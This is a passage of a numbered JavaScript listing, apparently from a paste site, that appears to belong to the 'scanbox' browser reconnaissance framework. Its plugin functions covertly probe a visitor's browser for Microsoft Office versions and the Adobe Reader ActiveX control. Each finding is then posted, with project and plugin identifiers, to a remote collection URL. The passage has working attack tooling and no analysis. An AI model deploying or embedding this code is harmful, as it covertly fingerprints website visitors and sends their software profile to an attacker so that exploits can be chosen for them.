  747. key = “Office Xp”
  748. }
  749. return key
  750. }
  751. return_data=officever();
  752. plugin_return.officever=officever();
  753.  
  754. basic.data.data=”No return data!”;
  755. try
  756. {
  757. basic.data.data=return_data;
  758. }
  759. catch(e)
  760. {
  761. basic.data.data=”No return data!”;
  762. }
  763. if(plugin_timeout==0)
  764. {
  765. scanbox.post(basic);
  766. }
  767. else
  768. {
  769. window.setTimeout(function(){scanbox.post(basic);},plugin_timeout*1000);
  770. }
  771. }
  772. catch(e)
  773. {}
  774.  
  775. })();
  776. (function(){
  777. try
  778. {
  779. basic={};
  780. basic.data={};
  781. plugin_timeout=0;
  782. basic.url=scanbox.basicplguinurl;
  783. basic.data.pluginid=6;
  784. basic.data.projectid=9;
  785. basic.data.seed=scanbox.info.seed;
  786. function plugin_pdf_ie()
  787. {
  788. var ma=1;
  789. var key=””;
  790. try{ma=new ActiveXObject(“AcroPDF.PDF”);}catch(e){};
  791. var a=typeof ma;
  792. if(a==”object”){key=”Adobe Reader”;}
  793. return key;
  794. }
  795. return_data=plugin_pdf_ie();
  796. plugin_return.pdfie=plugin_pdf_ie();
  797. basic.data.data=”No return data!”;
  798. try
  799. {
  800. basic.data.data=return_data;
  801. }
  802. catch(e)
  803. {
  804. basic.data.data=”No return data!”;
  805. }
  806. if(plugin_timeout==0)
  807. {
  808. scanbox.post(basic);
  809. }
  810. else
  811. {
  812. window.setTimeout(function(){scanbox.post(basic);},plugin_timeout*1000);
  813. }
  814. }
  815. catch(e)
  816. {}
  817. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement